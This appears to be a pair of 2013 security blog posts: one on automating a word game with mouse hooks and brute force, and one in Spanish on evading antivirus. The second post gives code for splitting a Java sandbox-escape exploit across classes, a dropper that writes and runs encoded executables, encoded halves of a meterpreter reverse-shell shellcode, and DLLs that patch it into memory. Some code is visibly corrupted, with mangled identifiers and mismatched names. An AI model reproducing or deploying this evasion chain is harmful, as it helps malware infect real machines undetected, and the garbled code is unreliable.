                 Globales.startPWN = true;
             }
             Globales.siguiente++;
         }
             return InputHooks.CallNextHookEx(mouseHookID, nCode, wParam, lParam);
     }

while (Globales.palabrasEncontradas.Count > 0) {
             palabra = Globales.palabrasEncontradas.Pop();
             ruta = Globales.rutasEncontradas.Pop();

             for (int i = 0; i < ruta.Count; i++) {
                 InputHooks.ClickLeftMouseButton(Globales.coordCasilla1.X + (Globales.calibrado * Convert.ToInt32(ruta[i][1].ToString())),
                                            Globales.coordCasilla1.Y + (Globales.calibrado * Convert.ToInt32(ruta[i][0].ToString())));
                 System.Threading.Thread.Sleep(50);
             }
             System.Threading.Thread.Sleep(50);
             InputHooks.ClickLeftMouseButton(Globales.coordBtnIntroducir.X, Globales.coordBtnIntroducir.Y);
             System.Threading.Thread.Sleep(50);
         }

Hemos hecho fuerza bruta para ganar a un juego, pero podría utilizarse para cosas más serias como ganar acceso no autorizado tanto a sitios web como a lugares físicos, si no utilizan medidas extra de seguridad.

En este caso estamos utilizando el ratón como método de entrada automatizado. Algunos sitios web emplean teclados virtuales para hacer login (incluso algunos bancos) utilizando el ratón. A veces incluso cambian aleatoriamente el orden de las letras o números (nada que no se pueda saltar con un algoritmo OCR). Con ese método muchas veces creen equivocadamente que añaden una capa de seguridad, pero si no limitan el número de intentos se puede hacer fuerza bruta fácilmente (y si te están pidiendo un PIN de 4 números, no tardaría más que unos minutos).

Sin embargo como comentaba antes, disponiendo de un arduino y unos cuantos motores, podemos hacer fuerza bruta sobre prácticamente cualquier cosa de forma muy sencilla y barata siempre y cuando no nos limíte en número de intentos, lo que nos hace preguntarnos cuán seguros son los dispositivos que utilizamos habitualmente, y como muchas veces obvian ciertas medidas de seguridad al pensar que obligando a alguien a introducir datos manualmente no probarán todas las combinaciones. O cuantas veces quitamos nosotros mismos ese número de intentos "por miedo a bloquear nuestro dispositivo nosotros mismos".

En plena era digital, existe mucha gente (especialmente gente mayor, o con pocos conocimientos informáticos) que piensa que lo analógico es más seguro que lo digital, sobretodo cuando cada vez hay más noticias en la prensa generalista sobre incidentes de hacking; así que aquí van unos cuantos ejemplos para romper esa leyenda urbana (Nota: Algunos de estos ejemplos se bloquean despues de un número de intentos, pero los pongo para hacer un muestrario del tipo de cosas que se pueden atacar físicamente):

Moraleja: Si estais implementando algun tipo de mecanismo para restringir accesos, nunca olvideis limitar el número de intentos (el cual en muchas ocasiones es visto como "innecesario" o engorroso), y procurad incluir algún elemento extra como un tarjeta, una llave,...

Si disponeis de algún mecanismo de acceso que limite el número de intentos y os permita deshabilitarlo, nunca lo hagais por comodidad o miedo.

Os dejo el código fuente del programa para los que querais echarle un vistazo (no incluyo los diccionarios). https://github.com/moebiuz/mezclaPWNr

Mechanical brute force

2013-02-14T10:32:00+01:00

This article was published on Security By Default.

Last month, our friend Lorenzo Martínez showed us how to always beat Mezcladitos intercepting communications between the game and the server.

Well, maybe is cheating, but at least we're not hacking the system ;)

This is just a harmless demonstration of mechanical brute force. When we think about brute force, often comes to mind the "trial and error" software to encrypt random passwords and check if they are valid. However we can apply brute force mechanically to all kinds of things: virtual keyboards, physical keyboards, dials, etc

In this demo I played Facebook version of Mezcladitos, but if I had had some handy servos and an arduino I would have been playing directly on the iPhone screen (with a simple mechanical "typer").

The first thign to do was to create an algorithm that solves the grid, brute forcing all possible words using a dictionary containing all words existing words in Spanish language.

Since we only have two minutes to play, we need to calculate the words in the shortest time possible, so in addition to optimizing the algorithm, I launched it as 16 threads (one per grid box) to take advantage of all CPU cores. This algorithm runs through all possible paths from a given box and check if the resulting word exists in the dictionary.

using MezcladitosPWNer;
using System;
using System.Collections.Generic;
using System.Text.RegularExpressions;
using System.Threading;
using System.Linq;

namespace MezcladitosPWNer {

    public class FuerzaBruta {
        private ManualResetEvent _doneEvent;
        private string _letra;
        private int _x;
        private int _y;
        private List<string> _ruta;
        private string _palabra;

        private int[,] adyacentesA = { { -1, -1 }, { 0, -1 }, { 1, -1 }, { 1, 0 }, { 1, 1 }, { 0, 1 }, { -1, 1 }, { -1, 0 } };
        private int[,] adyacentesB = { { 1, 0 }, { 1, 1 }, { 0, 1 }, { -1, 1 }, { -1, 0 } };
        private int[,] adyacentesC = { { 1, 0 }, { 1, 1 }, { 0, 1 } };
        private int[,] adyacentesD = { { 0, 1 }, { -1, 1 }, { -1, 0 } };
        private int[,] adyacentesE = { { -1, 0 }, { -1, -1 }, { 0, -1 }, { 1, -1 }, { 1, 0 } };
        private int[,] adyacentesF = { { 0, -1 }, { 1, -1 }, { 1, 0 } };
        private int[,] adyacentesG = { { -1, 0 }, { -1, -1 }, { 0, -1 } };
        private int[,] adyacentesH = { { 0, -1 }, { 1, -1 }, { 1, 0 }, { 1, 1 }, { 0, 1 } };
        private int[,] adyacentesI = { { 0, 1 }, { -1, 1 }, { -1, 0 }, { -1, -1 }, { 0, -1 } };



        public FuerzaBruta(int x, int y, List<string> ruta, string palabra, ManualResetEvent doneEvent) {
            _doneEvent = doneEvent;
            _x = x;
            _y = y;
            _ruta = ruta;
            _palabra = palabra;
        }


        public void ThreadPoolCallback(Object threadContext) {
            int threadIndex = (int)threadContext;
            ady(_x, _y, _ruta, _palabra);
            _doneEvent.Set();
        }


        private void ady(int x, int y, List<string> pRuta, string palabra) {
            if (_doneEvent.WaitOne(0)) {
                return;
            }

            List<string> ruta;
            ruta = new List<string>(pRuta);
            Regex regPart;
            int palMaxTam;
            Match m;

            if (ruta.Capacity > Globales.maxLength - 1) {
                return;
            }

            ruta.Add(x.ToString() + y.ToString());
            palabra += Globales.cas[x][y];

            if (palabra.Length == 1) {
                _letra = palabra;
            }

            if (palabra.Length >= Globales.minLength) {
                palMaxTam = Globales.maxLength - palabra.Length;

                if (Globales.arrays[_letra].Contains(palabra)) {
                    Globales.frm.pwnWord(palabra, new List<string>(ruta));
                    Globales.frm.AsyncWriteLine(palabra + " ");
                }

                regPart = new Regex(@"#(" + palabra + "\\S{" + palMaxTam + "})#");
                m = regPart.Match(Globales.cadenas[_letra]);

                if (!m.Success) {
                    return;
                }
            }

            if (y > 0 && y < 4 - 1 && x > 0 && x < 4 - 1) {
                for (int i = 0; i < adyacentesA.GetLength(0); i++) {
                    profundizar(x + adyacentesA[i, 0], y + adyacentesA[i, 1], ruta, palabra);
                }
            }
            if (y == 0) {
                if (x > 0 && x < 4 - 1) {
                    for (int i = 0; i < adyacentesB.GetLength(0); i++) {
                        profundizar(x + adyacentesB[i, 0], y + adyacentesB[i, 1], ruta, palabra);
                    }

                } else if (x == 0) {
                    for (int i = 0; i < adyacentesC.GetLength(0); i++) {
                        profundizar(x + adyacentesC[i, 0], y + adyacentesC[i, 1], ruta, palabra);
                    }
                } else if (x == 4 - 1) {
                    for (int i = 0; i < adyacentesD.GetLength(0); i++) {
                        profundizar(x + adyacentesD[i, 0], y + adyacentesD[i, 1], ruta, palabra);
                    }
                }
            }
            if (y == 4 - 1) {
                if (x > 0 && x < 4 - 1) {
                    for (int i = 0; i < adyacentesE.GetLength(0); i++) {
                        profundizar(x + adyacentesE[i, 0], y + adyacentesE[i, 1], ruta, palabra);
                    }
                } else if (x == 0) {
                    for (int i = 0; i < adyacentesF.GetLength(0); i++) {
                        profundizar(x + adyacentesF[i, 0], y + adyacentesF[i, 1], ruta, palabra);
                    }
                } else if (x == 4 - 1) {
                    for (int i = 0; i < adyacentesG.GetLength(0); i++) {
                        profundizar(x + adyacentesG[i, 0], y + adyacentesG[i, 1], ruta, palabra);
                    }
                }
            }
            if (x == 0 && y != 0 && y != 4 - 1) {
                for (int i = 0; i < adyacentesH.GetLength(0); i++) {
                    profundizar(x + adyacentesH[i, 0], y + adyacentesH[i, 1], ruta, palabra);
                }
            }
            if (x == 4 - 1 && y != 0 && y != 4 - 1) {
                for (int i = 0; i < adyacentesI.GetLength(0); i++) {
                    profundizar(x + adyacentesI[i, 0], y + adyacentesI[i, 1], ruta, palabra);
                }
            }
        }

        private void profundizar(int x, int y, List<string> ruta, String palabra) {
            if (ruta.LastIndexOf(x.ToString() + y.ToString()) == -1) {
                ady(x, y, ruta, palabra);
            }
        }
    }
}

Once I have all the results, I hook mouse with SetWindowsHookEx, so I can control the mouse programatically and click boxes automatically for each word.

As you can see in the video, before starting the game is needed a calibration, by clicking on the first two boxes and "Return", to calculate the coordinates of all the squares on the board.

public static IntPtr mouseHookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
         if (nCode >= 0 && InputHooks.MouseMessages.WM_LBUTTONDOWN == (InputHooks.MouseMessages)wParam && Globales.ctrlDOWN == true) {
             InputHooks.MSLLHOOKSTRUCT hookStruct = (InputHooks.MSLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(InputHooks.MSLLHOOKSTRUCT));
            if (Globales.siguiente == 0) {
                 Globales.coordCasilla1 = hookStruct.pt;
             } else if (Globales.siguiente == 1) {
                 Globales.coordCasilla2 = hookStruct.pt;
             } else if (Globales.siguiente == 2) {
                 Globales.coordBtnIntroducir = hookStruct.pt;
                 Globales.startPWN = true;
             }
             Globales.siguiente++;
         }
             return InputHooks.CallNextHookEx(mouseHookID, nCode, wParam, lParam);
     }

while (Globales.palabrasEncontradas.Count > 0) {
             palabra = Globales.palabrasEncontradas.Pop();
             ruta = Globales.rutasEncontradas.Pop();

             for (int i = 0; i < ruta.Count; i++) {
                 InputHooks.ClickLeftMouseButton(Globales.coordCasilla1.X + (Globales.calibrado * Convert.ToInt32(ruta[i][1].ToString())),
                                            Globales.coordCasilla1.Y + (Globales.calibrado * Convert.ToInt32(ruta[i][0].ToString())));
                 System.Threading.Thread.Sleep(50);
             }
             System.Threading.Thread.Sleep(50);
             InputHooks.ClickLeftMouseButton(Globales.coordBtnIntroducir.X, Globales.coordBtnIntroducir.Y);
             System.Threading.Thread.Sleep(50);
         }

We have "brute forced" to win a game, but this kind of technique could be used for less playful things like to gain unauthorized access to websites or physical places, where extra security measures are not in place.

In this case we are used the mouse as an automated input method. Some websites (even some banks) use virtual keyboards for login using the mouse. Sometimes even randomly changing the order of the letters or numbers (nothing that can not be skipped with an OCR algorithm). It seems that this scrambling method adds an extra layer of security, but if they don't limit the number of attempts, it can be easily brute forced (and if you are looking a 4 digit PIN, it will not take more than a few minutes).

As I said before, having a arduino and a few engines, ** we can brute force practically anything very easily and cheaply ** as long as we do not limit the number of attempts, which makes us wonder how secure are devices that we use on a daily basis, and how often they lack certain safeguards because attacks "seem" unlikely. Or how many times we ourselves override these safeguards just for convenience.

In the digital era, there are many people (especially older people, or with little computer knowledge) who think analog is safer than digita; so here are a few examples to beat that urban myth (Note: Some of these examples are locked after a number of attempts, but I add them just as an example of things that can be physically attacked):

Here is the full source code (wordlist not included). https://github.com/moebiuz/mezclaPWNr

Evasión de Antivirus: ¿Por qué vulnerabilidades conocidas y antiguas siguen siendo peligrosas?

2013-01-23T10:26:00+01:00

Este artículo lo publiqué originalmente en Security By Default.

Antes de entrar en la parte técnica y llegar a la programación, donde seguramente muchos lectores dejen de leer, quiero hacer una pequeña introducción para todos los públicos.

En este artículo voy a escribir un poco sobre lo fácil que es burlar la protección de un antivirus sin tener que recurrir a técnicas complejas y algoritmos "vanguardistas" como encoders, polimorfismos, metamorfismos y demás ingenios, que muchas veces nos llevan a la falsa creencia de que un posible intruso o creador de malware debe ser un genio de los ordenadores, y como hay pocos genios es difícil que nos toque. De hecho un gran porcentaje de incidentes de seguridad se produce aprovechando vulnerabilidades o malware antiguos, que a priori todo antivirus detectaría fácilmente de no haber sido modificados.

Eso, sumado a la falsa seguridad que nos proporciona el software como los antivirus o firewalls hace que la gran mayoría de la gente no preste la atención que debiera a la seguridad de sus sistemas (ya no vamos a entrar en el recalcado tema de cómo escoger una buena contraseña).

Se invierten millones de euros en investigación de protecciones de seguridad informática y existe todo un gran mercado en torno a ello, pero al final del día el mejor antivirus, y la mejor protección que "podría" existir para nuestros ordenadores es el propio usuario (aunque desgraciadamente, todavía siga siendo lo contrario). Muchas veces me han pedido consejo para escoger un antivirus, o me han preguntado que antivirus utilizo, y cuando yo contestaba "ninguno" se quedaban un poco sorprendidos. Si bien hoy en día si utilizo, es verdad que he estado muchísimos años sin utilizarlos.

A lo que quiero llegar es que fuera del mundillo de la seguridad informática, se sigue confiando la seguridad un 100% a programas como los antivirus, la gente se siente protegida con ellos, lo cual es contraproducente. Pequeñas cosas como mantener actualizados todos nuestros programas, ser cuidadosos con las cosas que descargamos o controlar que servicios tenemos corriendo en nuestras máquinas en cada momento quedan relegados a un segundo plano (muchísima gente ni siquiera le da importancia a no actualizar), aunque no infalible, minimizan mucho los riesgos, convirtiendo un antivirus en una capa de protección más, y no en la más importante.

Dicho esto, y después de asustar un poco a los no iniciados (esa era la intención), entremos al lío.

De todos es sabido que los antivirus basan casi el 90% de su detección en la búsqueda de signatures, partes de código reconocibles como maliciosas o sospechosas se que van actualizando en sus bases de datos de firmas según se descubren nuevos virus o exploits.

Para camuflar este tipo de firmas en malware, una de las cosas que más se están utilizando son encoders de todo tipo, que manipulan ese código detectable convirtiendolo en otro diferente que hace la misma función, pero a la larga esos encoders se vuelven inefectivos porque siguen un patrón que puede detectarse con análisis heurístico. Incluso el famoso y polimórfico shikata ga nai es inefectivo hoy en día, por muchos pases que se apliquen.

Por regla general, un antivirus realiza el análisis de los archivos tanto cuando se escriben en disco como cuando son ejecutados, pero no monitoriza toda la ejecución del mismo, porque eso requeriría de unos recursos de los que una máquina normal hoy en día no dispone (imaginad que cada vez que se ejecutase un Photoshop u otro programa intensivo computacionalmente, el AV tuviese que monitorizar en todo momento todas las operaciones que realiza).

Sin embargo existen técnicas que le pueden poner las cosas muy difíciles a un antivirus, incluso a los análisis heurísticos, y que sólo un análisis exhaustivo por parte de un humano en un entorno sandbox podría detectar (algo impensable para la detección en tiempo real).

Algo de lo que adolecen los antivirus es que analizan los archivos independientemente, y no como un conjunto de archivos que forman una pieza de software. Y desgraciadamente deben hacerlo así para evitar multitud de falsos positivos.

Por ejemplo, en uno de los últimos exploits Java (CVE-2012-1723), compuesto por varias clases empaquetadas en un jar, detectaba la firma sólo en dos de ellas, donde se ejecutaban las funciones sospechosas, con lo que separando esas firmas en clases diferentes se podía anular la detección muy fácilmente.

Sin entrar en detalles, este exploit se basa en type confusion, asignando una clase con funciones que requieren privilegios de sistema a otra clase de distinto tipo que no los requiere, saltándose el sandbox java de ese modo. El antivirus detectaba el exploit en la clase que forzaba la confusión (llamemosle confusor), y en un par de líneas de código de otra clase, donde se creaba la instancia del confusor (probablemente para detectar variantes del exploit donde el confusor fuese diferente).

No fue necesario utilizar ningún tipo de ofuscación de clases sobre el exploit:

Para el confusor bastó con cambiar un bucle for de 100 iteraciones por 110 para que el antivirus ya no lo marcase como peligroso.

En cuanto a la clase donde se creaba la instancia de forma reflectiva, el AV lo detectaba cuando estas dos líneas aparecían juntas en el mismo archivo, pero separandolas de una manera extremadamente trivial, neutralizamos totalmente lo que el AV daba por sentado como malicioso:

// ClassLoader.java Lineas detectadas por el AV

...
final Class inst = confusor.defineClass(var1, var2, 0, var2.length, var3);
inst.newInstance();
...


// ClassLoader.java Modificado

...
final Class inst = rol.defineClass(var1, var2, 0, var2.length, var3);
Separada.crear(inst);
...


// Separada.java

public class Separada {
   public static void crear(final Class otra) {
      try {
        otra.newInstance();
      } catch (final Exception e) {}
   }
}

Como se puede apreciar, realizando pequeñas modificaciones al código, y sobretodo separando las partes del código sospechosas en diferentes lugares es muy sencillo desaparecer de la lista de firmas del AV. De este modo y con un poco de creatividad podríamos ocultar incluso ROP chains, heap sprays..., pilares de muchos exploits modernos.

Para continuar, y ya que hemos utilizado el exploit java para demostrar cómo evadir el antivirus durante la fase de explotación, vamos a ver como ocultar también un payload, ya que las shellcode más comunes suelen ser detectadas per se como firmas.

Hemos modificado el código del exploit de java para evitar el antivirus, pero en cuanto añadiesemos a la ecuación nuestra shellcode (por ejemplo un meterpreter https reverso), volvería a ser detectado. Dado que el exploit en java no nos limita en tamaño a la hora de weaponizarlo con un payload, y como ya nos hemos saltado el sandbox java, ¿por qué ejecutar la shellcode directamente desde el exploit, cuando podemos volcar un ejecutable a disco y lanzar la shellcode desde allí? Podría parecer una estupidez hacer una escritura a disco dando al AV una oportunidad extra de análisis, pero como veremos más adelante evitar la detección de la explotación asumiendo ese riesgo tiene sus ventajas si nos encargamos de ocultarlo bien en la fase post-exploit, donde contamos con más flexibilidad para hacerlo.

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.lang.ProcessBuilder;
import java.io.FileOutputStream;

public class Payload {
   static String spawmerl = "4D5A90000300000004000000FFFF...";
   static String spawmer2 = "743FFF75F857FF75FOFF75F4FF75...";
   static String payload1 = "4D5A90000300000004000000FF...";
   static String payload2 = "0489448F048D048D0000000003...";
   static String dllA1 = "4D5A90000300000004000000FF...";
   static String dllA2 = "894518895OF8395O2475OB8B4S...";
   static String dllB1 = "4D5A90000300000004000000FF...";
   static String dllB2 = "000000E862D5FFFFFFB6CC0000...";

   public static byte[] CadenaToBytes(String s) {
      int len = s.length();

      byte[] dig = new byte[len / 2];

      for (int i = 0; i < s.length(); i += 2 ) {
         dig[i / 2] = (byte)((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i + 1), 16));
      }

      return dig;
   }

   public static Object run() throws Exception {
      try {
         String ruta = System.getProperty( "java.io.tmpdir" ) + File.separator + "spawmer.exe";
         scriFi(ruta, CadenaToBytes(spawmer1));
         ruta = System.getProperty("java.io.tmpdir") + File.separator + "spawmer.exe";
         scriFiGran(ruta, CadenaToBytes(spawner2));
         ruta = System.getProperty("java.io.tmpdir") + File.separator + "shellcode1.dat";
         scriFi(ruta, CadenaToBytes(dllA1));
         ruta = System.getProperty("java.io.tmpdir") + File.separator + "shellcode1.dat";
         scriFiGran(ruta, CadenaToBytes(dllA2));
         ruta = System.getProperty("java.io.tmpdir") + File.separator + "payload.exe";
         scriFi(ruta, CadenaToBytes(payload1));
         ruta = System.getProperty("java.io.tmpdir") + File.separator + "payload.exe";
         scriFiGran(ruta, CadenaToBytes(payload2));
         ruta = System.getProperty("java.io.tmpdir") + File.separator + "shellcode2.dat";
         scriFi(ruta, CadenaToBytes(dllB1));
         ruta = System.getProperty("java.io.tmpdir") + File.separator + "shellcode2.dat";
         scriFiGran(ruta, CadenaToBytes(dllB2));

         ejecutar(System.getProperty("java.io.tmpdir") + File.separator + "spawmer.exe");

      } catch(Exception e) {}

      return null;
   }

   public static Process ejecutar(String ruta) {

      String[] args = {"cmd","/c", ruta};
      Runtime rt = Runtime.getRuntime();
      ProcessBuilder pb = new ProcessBuilder(args);
      pb.directory(new File(System.getProperty("java.io.tmpdir")));
      Process pro = null;

      try {
         pro = pb.start();
         if (pro == null) {}
      } catch(Exception e) {
         e.printStackTrace();
      }
      return pro;
   }

   public static void scriFi(String ruta, byte[] datos) {
      try {
         FileOutputStream oustre = new FileOutputStream(ruta);
         oustre.write(datos);
         oustre.close();
      } catch(Exception e) {}
   }

   public static void scriFiGran(String ruta, byte[] datos) {

      try {
         FileOutputStream oustre = new FileOutputStream(ruta, true);
         oustre.write(datos);
         oustre.close();
      } catch(Exception e) {}
   }

Como se puede apreciar, hemos convertido los binarios en cadenas de texto (los he truncado por legibilidad), los hemos almacenado en variables (separados en dos mitades), y los recodificamos a binario antes de escribirlos a disco, consiguiendo que el AV no los detecte al analizar el paquete Java.

Con eso ya estamos separando el payload del propio exploit (recordad, separación es la clave), pero tendremos que conseguir que el payload sea también indetectable.

Para ello vamos a utilizar varios trucos. En primer lugar, cogeremos nuestra shellcode y la partiremos en 2 mitades (una vez más). Con eso ya sería suficiente, pero para este ejemplo, además, he creado un sencillo "encoder" que hace rotaciones de bits en cada byte de la shellcode y luego los invierte, con la intención de camuflarla un poco. Así que ya tenemos dos mitades de nuestro meterpreter, previamente scrambled con el miniencoder.

BYTE semishell[] =
   "\xd7\x5f\x5d\xff\x9e\xbc\x56\x74\x1a\xa2\x00\x4d\x5d\xab\x57"
   "\xae\xff\x89\x5d\xff\x1c\x13\x77\x98\x1a\xa2\x96\xcd\xa5\xbb"
   "\x68\x00\x1d\x2b\xe6\x0d\x75\x43\xeb\x24\xe2\xd2\xf5\x0b\x83"
   "\xff\x51\xb4\x56\x0b\xb5\x6b\x90\x12\x44\x13\x34\x08\xb8\x80"
   "\x2e\xe9\x01\x38\x16\x5c\xb4\x81\x2e\x33\xd3\x02\x09\xc2\xb8"
   "\x0b\x8b\xba\x24\xfa\xce\xc7\xd7\x60\xd3\xba\xe0\x70\xf1\x08"
   "\xd0\xf9\x07\x56\xc0\x62\xff\x89\x6d\x20\x2e\x1a\x8b\x92\x0f"
   "\x1f\x3d\x20\x80\x2c\x8b\x30\x12\x5c\x05\x1a\x04\x25\x74\x81"
   "\x61\xc3\x04\x71\x43\x80\x3c\x84\xe2\x80\x25\x71\x5d\x29\xf0"
   "\xC5\xf1\x08\xd0\xf9\x07\x10\x2C\x04\x1f\x0b\xC3\x95\x03\x98"
   "\xff\x62\x89\x52\x7b\xe1\xa0\x39\x8b\x28\x94\x5c\xc0\x4a\x2e"
   "\x18\x52\x17\x19\x96\x13\xbc\x26\x30\x00\x00\x00\x4c\x8e\x9f";

BYTE semishell2[] =
   "\x00\xd9\x93\xf6\xc5\xbd\x3a\x70\xc2\x9e\x71\x07\xed\xb9\xff"
   "\xff\xff\x54\x47\x3c\x0b\x97\xba\xc0\x0b\xf0\x08\x70\x71\x37"
   "\x3a\xc0\x0b\x75\xff\x2e\x31\x5a\x09\x68\xac\xd4\x00\x00\x04"
   "\x00\x34\x57\xcf\x62\x9a\x35\x72\x57\xff\xe5\xa6\x29\xc2\x86"
   "\xeB\x00\x20\x00\x00\x18\x00\x00\x02\x00\x34\x40\xd4\x75\xff"
   "\x65\x54\xd6\x78\x68\x00\x00\xab\x73\xe8\xa5\x97\xff\xff\xff"
   "\x9d\x8e\x29\xaf\xea\xeb\x20\x1d\x5a\xa1\xae\x03\xc2\xd5\xff"
   "\xde\xc0\x60\xa5\xa1\x2b\x57\xae\xd5\xba\xff\x26\x57\xff\x86"
   "\x3d\x91\xab\x86\xca\x7c\x35\x50\x08\x9a\x07\x98\x00\x00\x99"
   "\x80\xd0\xd6\x80\xa6\xd8\x26\xea\xff\x76\x8b\xaa\xbe\x0d\x41"
   "\x29\x51\xa4\x94\x92\x48\x14\xc8\x00\x68\xa4\xb4\x89\x95\x09"
   "\xaf\xea\xff\x8d\xe7\x4c\x75\x0d\x41\xa9\x00\x00\x40\xdd\x86"
   "\x2a\x45\x81\x6a\xa2\x54\x4e\x13\x6b";

Si sólo utilizaramos el encoder sobre la shellcode entera, el antivirus podría reconocerla con algo de heurística, pero de este modo aunque aplique la heurística a cada mitad, no se encontrará con la shellcode completa, con lo que no la reconocerá como firma.

Podríamos crear un sencillo ejecutable que lanzase esa shellcode, pero aquí vamos a utilizar otro truco para engañar aún más.

Crearemos un ejecutable normal (payload.exe), con una función trivial que no haría saltar jamás al antivirus, porque no realiza ninguna acción sospechosa, pero utilizaremos unas librerías dinámicas para sobreescribir esa función trivial con nuestra shellcode en tiempo de ejecución, y ya en memoria:

#include <Windows.h>

void inofensiva();

int __stdcall WinMain(HINSTANCE hInst, HINSTANCE, LPSTR 1pCndLine, int nShowCmd) {

   HMODULE hLib = LoadLibrary(L"shellcode1.dat”);
   Sleep(5000);
   HMODULE hLib2 = LoadLibrary(L"shellcode2.dat”);
   Sleep(5000);

   FreeLibrary(hLib);
   FreeLibrary(hLib2);

   inofensiva();
   return 0;
}

void inofensiva() {
   _asm
   {
      nop;
      nop;
      nop;
      nop;
      nop;
      nop;
      ...
   }
}

Debemos configurar el compilador para que no utilice el NX/XD (DEP) ni base dinámica (ASLR), de este modo la dirección de memoria que sobreescribiremos en nuestro programa no variará en cada ejecución, ni la memoria estará desorganizada por el ASLR, lo cual sería un problema para escribir secuencialmente.

Como veis, y para esta demostración, la función inofensiva() está compuesta por una serie de NOPs (o cualquier otra cosa), para hacerla más fácil de encontrar en nuestro debugger, y debe tener el tamaño suficiente para albergar nuestra shellcode una vez la sobreescribamos.

Lo ejecutamos en el debugger para localizar la dirección donde comienza dicha función:

Dado que en este caso el programa comienza a ejecutarse en 400000, nuestro offset para comenzar a sobreescribir será 53F0, que es el punto de entrada de la función.

Un análisis por parte del antivirus sobre el ejecutable no revelaría nada ya que el código de la shellcode no sobreescribe la función inofensiva() hasta que cargamos las librerías.

Como hemos partido la shellcode en 2 mitades, crearemos dos DLL (shellcode1.dat y shellcode2.dat), una con cada mitad (una vez más, separación), de este modo el AV aunque analice cada DLL en disco, no encontrará nada.

#inc1ude <Windows.h>

void sobreescribir();

BYTE* recodificar(BYTE arr[], int rot, int size);
BYTE lrotate(BYTE val, int n);
BYTE rrotate(BYTE val, int n);

DWORD MY_OFFSET = OxO5BFO;
DWORD PTR_PROTECT_OLD = 0;
DWORD PTR_PROTECT_NEW = PAGE_READWRITE;
DWORD SIZE_SHELL = 0;

int rot = 3;

BYTE semishell[] =
   "\xd7\x5f\x5d\xff\x9e\xbc\x56\x74\x1a\xa2\x00\x4d\x5d\xab\x57"
   "\xae\xff\x89\x5d\xff\x1c\x13\x77\x98\x1a\xa2\x96\xcd\xa5\xbb"
   "\x68\x00\x1d\x2b\xe6\x0d\x75\x43\xeb\x24\xe2\xd2\xf5\x0b\x83"
   "\xff\x51\xb4\x56\x0b\xb5\x6b\x90\x12\x44\x13\x34\x08\xb8\x80"
   "\x2e\xe9\x01\x38\x16\x5c\xb4\x81\x2e\x33\xd3\x02\x09\xc2\xb8"
   "\x0b\x8b\xba\x24\xfa\xce\xc7\xd7\x60\xd3\xba\xe0\x70\xf1\x08"
   "\xd0\xf9\x07\x56\xc0\x62\xff\x89\x6d\x20\x2e\x1a\x8b\x92\x0f"
   "\x1f\x3d\x20\x80\x2c\x8b\x30\x12\x5c\x05\x1a\x04\x25\x74\x81"
   "\x61\xc3\x04\x71\x43\x80\x3c\x84\xe2\x80\x25\x71\x5d\x29\xf0"
   "\xc5\xf1\x08\xd0\xf9\x07\x10\x2c\x04\x1f\x0b\xc3\x95\x03\x98"
   "\xff\x62\x89\x52\x7b\xe1\xa0\x39\x8b\x28\x94\x5c\xc0\x4a\x2e"
   "\x18\x52\x17\x19\x96\x13\xbc\x26\x30\x00\x00\x00\x4c\x8e\x9f";


BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD ul_reason_for_call, LPVOID lpReserved) {
   switch (ul_reason_for_call) {
      case DLL_PROCESS_ATTACH: sobreescribir(); break;
      case DLL_THREAD_ATTACH: break;
      case DLL_THREAD_DETACH: break;
      case DLL_PROCESS_DETACH: break;
      default: break;
   }
   return TRUE;
}


void sobreecribir() {
   SIZE_SHELL= sizeof(semishell);
   BYTE* chell = decodificar(semishell, rot, SIZE_SHELL-1);
   BYTE* offset = (BYTE*) ((DWORD) GetModuleHandle(0) + MY_OFFSET);
   VirtualProtectEx(GetCurrentProcess(), (LPVOID) offset, SIZE_SHELL, PTR_PROTECT_NEW, &PTR_PROTECT_0LD);

   for (unsigned int i = 0; i < SIZE_SHELL; i++) {
      BYTE b = chell[i];
      *(offset + i) = b;
      Sleep(10);
   }
   VirtualProtectEx(GetCurrentProcess(), (LPVOID) offset, SIZE_SHELL, PTR_PROTECT_OLD, &PTR_PROTECT_NEW);
}


BYTE* decodificar(BYTE arr[], int rot, int size) {
   BYTE temp_rev;

   for (int i = 0; i < size/2; i++) {
      temp_rev = arr[i];
      arr[i] = arr[size-i-1];
      arr[size-i-1] = temp_rev;
   }

   bool dir = true;

   for (int i = 0; i < size; i++) {
      if (dir) {
         arr[i] = lrotate(arr[i], rot + i);
         dir = false;
      } else {
         arr[i] = rrotate(arr[i], rot + i);
         dir = true;
      }
   }
   return arr;
}


BYTE lrotate(BYTE val, int n) {
   unsigned int t;
   t = val;

   for (int i = 0; i < n; i++) {
      t = t << 1;
      if(t & 256) {
         t = t | 1;
      }
   }
   return t;
}


BYTE rrotate(BYTE val, int n) {
   unsigned int t;
   t = val;
   t = t << 8;

   for (int i = 0; i < n; i++) {
      t = t >> 1;
      if(t & 128) {
         t = t | 32768;
      }
}

En MY_OFFSET establecemos la posición de memoria en tiempo de ejecución donde debe empezar a sobreescribir. Decodificamos nuestra media shellcode anteriormente “revuelta”, y la escribimos donde estaba la función inofensiva().

VirtualProtectEx, así como otras que permiten API hooking, es una de las funciones más vigiladas por un antivirus dado que abre las puertas a escribir en memoria en tiempo de ejecución, pero como hemos dicho antes, solo estamos escribiendo media shellcode, y es por esa razón por la que no saltará la alarma, y es a lo que me refería con que un antivirus escanea archivos independientes, y no como un conjunto.

También habréis notado que utilizo sleeps para pausar la ejecución. Es solo una sospecha personal infundada, pero aunque retrasa la ejecución del payload creo que algunos antivirus (especialmente los que quieren vendernos que casi no comen recursos al ordenador) dejan de analizar si el proceso que monitorizan es lento, especialmente si es un bucle, para ahorrar recursos y no interferir en la experiencia del usuario. Y también para tratar de que el AV no “relacione” una función con la anterior, aunque supongo que eso ya es un raciocinio humano que no se aplica a una máquina ;)

Para la segunda DLL, solo tenemos que cambiar la segunda mitad de la shellcode y el offset para continuar escribiendo en la posición donde terminó la primer mitad.

Algo que podríamos hacer para enrrevesarlo aún más (aunque para no complicarlo demasiado no lo hemos hecho aquí), sería empezar escribiendo la segunda parte de la shellcode, y luego la primera (simplemente invirtiendo el orden en el que hacemos el LoadLibrary), con lo cual nos curamos en salud ante un posible análisis secuencial de lo que estamos escribiendo en memoria.

